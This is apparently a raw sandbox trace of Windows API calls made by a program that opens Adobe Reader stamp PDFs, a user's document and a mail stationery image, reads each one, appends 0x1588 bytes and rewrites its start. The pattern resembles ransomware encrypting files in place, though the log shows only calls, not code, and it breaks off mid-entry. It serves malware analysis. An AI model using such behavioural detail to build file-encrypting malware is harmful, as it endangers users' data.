[0039.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.225] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.225] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xff3a [0039.225] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.225] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.225] ReleaseMutex (hMutex=0x128) returned 1 [0039.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0039.225] ReadFile (in: hFile=0x198, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.228] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xef3a [0039.228] ReadFile (in: hFile=0x198, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.231] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xef3a [0039.231] WriteFile (in: hFile=0x198, lpBuffer=0x2611c48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2611c48*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.231] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0039.231] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.232] CloseHandle (hObject=0x198) returned 1 [0039.232] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.232] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.232] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1c4f5 [0039.232] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.232] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.232] ReleaseMutex (hMutex=0x128) returned 1 [0039.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0039.232] ReadFile (in: hFile=0x198, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.267] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1b4f5 [0039.268] ReadFile (in: hFile=0x198, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.270] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1b4f5 [0039.270] WriteFile (in: hFile=0x198, lpBuffer=0x2611c48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2611c48*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.270] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0039.270] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.270] CloseHandle (hObject=0x198) returned 1 [0039.270] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.271] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.271] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2fe62 [0039.271] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.271] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.271] ReleaseMutex (hMutex=0x128) returned 1 [0039.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0039.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0039.271] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.274] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2ee62 [0039.274] ReadFile (in: hFile=0x198, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.305] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2ee62 [0039.305] WriteFile (in: hFile=0x198, lpBuffer=0x1db0268*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0268*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.305] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0039.305] WriteFile (in: hFile=0x198, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.306] CloseHandle (hObject=0x198) returned 1 [0039.306] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.306] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.306] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xb9dd [0039.306] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.306] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.307] ReleaseMutex (hMutex=0x128) returned 1 [0039.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6326c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0039.307] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.309] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xa9dd [0039.309] ReadFile (in: hFile=0x198, lpBuffer=0x1db0268, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1db0268*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.319] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xa9dd [0039.319] WriteFile (in: hFile=0x198, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.319] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0039.320] WriteFile (in: hFile=0x198, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.320] CloseHandle (hObject=0x198) returned 1 [0039.320] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.320] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.320] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x9cbb [0039.320] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.320] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.320] ReleaseMutex (hMutex=0x128) returned 1 [0039.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0039.320] ReadFile (in: hFile=0x198, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.334] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x8cbb [0039.334] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.338] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x8cbb [0039.339] WriteFile (in: hFile=0x198, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.339] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0039.339] WriteFile (in: hFile=0x198, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.339] CloseHandle (hObject=0x198) returned 1 [0039.339] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.340] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.340] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1804a [0039.340] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.340] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.342] ReleaseMutex (hMutex=0x128) returned 1 [0039.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0039.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78ab4, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0039.342] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.370] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1704a [0039.370] ReadFile (in: hFile=0x198, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.388] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1704a [0039.388] WriteFile (in: hFile=0x198, lpBuffer=0x1deee48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deee48*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.388] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0039.388] WriteFile (in: hFile=0x198, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.388] CloseHandle (hObject=0x198) returned 1 [0039.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dzvDOUiLYc9t.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dzvdouilyc9t.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.389] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.389] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x5469 [0039.389] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.389] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.389] ReleaseMutex (hMutex=0x128) returned 1 [0039.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dzvDOUiLYc9t.pdf", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0039.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dzvDOUiLYc9t.pdf", cchWideChar=16, lpMultiByteStr=0x1e78b04, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dzvDOUiLYc9t.pdf", lpUsedDefaultChar=0x0) returned 16 [0039.390] ReadFile (in: hFile=0x198, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.391] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x4469 [0039.391] ReadFile (in: hFile=0x198, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.391] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x4469 [0039.391] WriteFile (in: hFile=0x198, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.391] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0039.391] WriteFile (in: hFile=0x198, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.392] CloseHandle (hObject=0x198) returned 1 [0039.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.394] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.394] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x780 [0039.394] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.394] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.394] ReleaseMutex (hMutex=0x128) returned 1 [0039.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Roses.jpg", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Roses.jpg", cchWideChar=9, lpMultiByteStr=0x1e631cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Roses.jpg", lpUsedDefaultChar=0x0) returned 9 [0039.394] ReadFile (in: hFile=0x1c4, lpBuffer=0x1de8e08, nNumberOfBytesToRead=0x780, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de8e08*, lpNumberOfBytesRead=0x2e0f2bc*=0x780, lpOverlapped=0x0) returned 1 [0039.399] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: 